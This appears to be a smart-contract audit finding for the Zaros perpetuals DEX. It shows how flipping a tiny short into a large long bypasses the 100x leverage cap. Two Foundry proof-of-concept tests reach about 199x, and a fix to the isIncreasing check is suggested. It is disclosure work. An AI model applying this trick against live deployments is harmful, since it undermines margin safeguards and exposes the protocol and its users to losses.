Summary
It is possible to increase/open an order with leverage over the maximum allowed leverage.
Vulnerability Details
Suppose Bob has 1000$ as collateral and would like to open a position in ETH market with a leverage over 100. Based on the documents and the code, the maximum available leverage for ETH market is 100.
https://docs.zaros.fi/overview/products/perpetuals-dex/markets
https://github.com/Cyfrin/2024-07-zaros/blob/main/script/markets/EthUsd.sol#L13
In a normal situation, Bob can open a position with max leverage 100 as demonstrated in the first PoC. Because, when validating the margin requirements it verifies that
requiredMargin + orderFee + settlementFee < marginBalance where requiredMargin is requiredInitialMargin (equal to 1%) as the position is increasing.
ctx.shouldUseMaintenanceMargin = !Position.isIncreasing(params.tradingAccountId, params.marketId, params.sizeDelta)
&& ctx.isMarketWithActivePosition;
ctx.requiredMarginUsdX18 =
ctx.shouldUseMaintenanceMargin ? ctx.requiredMaintenanceMarginUsdX18 : ctx.requiredInitialMarginUsdX18;
tradingAccount.validateMarginRequirement(
ctx.requiredMarginUsdX18, ctx.marginBalanceUsdX18, ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18)
);
https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/branches/OrderBranch.sol#L343
Bob to bypass such limitation of leverage up to 100x does the following trick:
Bob creates a small short position 0.1 in ETH market.
After the first order is filled, Bob creates a long position 171 in ETH market.
By doing so, when creating the second order, the protocol does not consider it as an increasing position, because size < 0 and sizeDelat > 0, thus the flag shouldUseMaintenanceMargin would be true, and requiredMargin would be requiredMaintenanceMargin (equal to 0.5%). While, in reality, Bob is changing the sign of his old position. In other words, he is as if closing his 0.1 short position, and opening (171 - 0.1) long position. So, it was expected that the protocol disallows it because it is opening a long position with margin balance less than the requiredInitialMargin, but since it is not considered as an increasing order, requiredMaintenanceMargin is used instead of requiredInitialMargin, the protocol incorrectly allows it. This is demonstrated in the second PoC.
The root cause of the issue is that when verifying whether an order is increasing or not, it considers the old size not the new size (oldSize + sizeDelta).
return self.size == 0 || (self.size > 0 && sizeDelta > 0) || (self.size < 0 && sizeDelta < 0);
https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/leaves/Position.sol#L171
PoC1
In the following PoC, the user creates a long order with size 92 successfully. The test shows that the leverage of the account is 99.5 almost equal to 100.
function test_creatingAnOrderWithMaximumPossibleLeverage()
external
givenTheSenderIsTheKeeper
givenTheMarketOrderExists
givenThePerpMarketIsEnabled
givenTheSettlementStrategyIsEnabled
givenTheReportVerificationPasses
whenTheMarketOrderIdMatches
givenTheDataStreamsReportIsValid
givenTheAccountWillMeetTheMarginRequirement
givenTheMarketsOILimitWontBeExceeded
{
TestFuzz_GivenThePnlIsPositive_Context memory ctx;
ctx.fuzzMarketConfig = getFuzzMarketConfig(ETH_USD_MARKET_ID);
uint256 marginValueUsd = 1_000e18;
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
deal({ token: address(usdz), to: users.naruto.account, give: marginValueUsd });
ctx.tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdz));
console.log("\nCreating first order\n");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: int128(92e18)
})
);
console.log("\nFilling first order\n");
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
console.log("leverage: ", unwrap(perpsEngine.getAccountLeverage(ctx.tradingAccountId)));
}
PoC2
In the following PoC, the user creates a short order with size 0.1 successfully. After being filled, the user creates a long order with size 171. This test runs successfully without any revert. The test shows that the leverage of the account is 198.9 almost equal to 199. So, the user could open/increase a position with a leverage over 100 (which is more than the allowed maximum leverage) in ETH market.
function test_creatingAnOrderWithLeverageBiggerThanMaximumPossibleLeverage()
external
givenTheSenderIsTheKeeper
givenTheMarketOrderExists
givenThePerpMarketIsEnabled
givenTheSettlementStrategyIsEnabled
givenTheReportVerificationPasses
whenTheMarketOrderIdMatches
givenTheDataStreamsReportIsValid
givenTheAccountWillMeetTheMarginRequirement
givenTheMarketsOILimitWontBeExceeded
{
TestFuzz_GivenThePnlIsPositive_Context memory ctx;
ctx.fuzzMarketConfig = getFuzzMarketConfig(ETH_USD_MARKET_ID);
uint256 marginValueUsd = 1_000e18;
ctx.marketOrderKeeper = marketOrderKeepers[ctx.fuzzMarketConfig.marketId];
deal({ token: address(usdz), to: users.naruto.account, give: marginValueUsd });
ctx.tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdz));
console.log("\nCreating first order\n");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: int128(-0.1e18)
})
);
console.log("\nFilling first order\n");
ctx.firstMockSignedReport =
getMockedSignedReport(ctx.fuzzMarketConfig.streamId, ctx.fuzzMarketConfig.mockUsdPrice);
changePrank({ msgSender: ctx.marketOrderKeeper });
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
changePrank({ msgSender: users.naruto.account });
console.log("\nCreating second order\n");
perpsEngine.createMarketOrder(
OrderBranch.CreateMarketOrderParams({
tradingAccountId: ctx.tradingAccountId,
marketId: ctx.fuzzMarketConfig.marketId,
sizeDelta: int128(171e18)
})
);
console.log("\nFilling second order\n");
changePrank({ msgSender: ctx.marketOrderKeeper });
perpsEngine.fillMarketOrder(ctx.tradingAccountId, ctx.fuzzMarketConfig.marketId, ctx.firstMockSignedReport);
console.log("leverage: ", unwrap(perpsEngine.getAccountLeverage(ctx.tradingAccountId)));
}
Impact
Tools Used
Recommendations
The following code is recommended:
function isIncreasing(
uint128 tradingAccountId,
uint128 marketId,
int128 sizeDelta
)
internal
view
returns (bool)
{
return self.size == 0 || ((self.size + sizeDelta) > 0 && sizeDelta > 0) || ((self.size + sizeDelta) < 0 && sizeDelta < 0);
}
https://github.com/Cyfrin/2024-07-zaros/blob/main/src/perpetuals/leaves/Position.sol#L155
